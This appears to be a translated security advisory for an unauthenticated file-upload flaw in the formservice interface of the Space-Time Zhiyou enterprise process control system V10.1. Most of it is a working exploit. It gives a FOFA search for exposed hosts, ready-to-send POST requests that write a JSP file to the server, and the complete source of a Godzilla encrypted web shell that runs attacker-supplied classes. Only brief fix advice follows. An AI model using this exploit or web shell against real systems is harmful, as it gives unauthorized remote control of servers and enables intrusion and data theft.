0x01 Product Introduction
Space-Time Zhiyou Enterprise Process Control System is a feature-rich, flexible and customizable enterprise management tool. Through this system, enterprises can realize the automation of processes, the improvement of collaboration, the insight of data and the optimization of decision-making, thereby improving work efficiency, management level and enterprise competitiveness.
0x02 Vulnerability Overview
There is an arbitrary file upload vulnerability in the formservice interface of the process management and control system of Space-Time Zhiyou Enterprise. Unauthenticated attackers can upload backdoor files through this interface, which can eventually lead to server failure.
0x03 range of influence
Time and Space Wisdom Friends V10.1
0x04 Recurrence environment
FOFA: app="Space-Time Smart Friends V10.1"
0x05 Vulnerability Reappearance
PoC
POST /formservice?service=attachment.write&isattach=false&filename=a.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
文件内容
verify url
http://your-ip/form/temp/回显的文件名
upload godzilla
POST /formservice?service=attachment.write&isattach=false&filename=a.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
try to connect
0x06 Repair suggestion
Added strong authentication to interface access rights
Set the security group to only open to trusted addresses
Upgrade to a safe version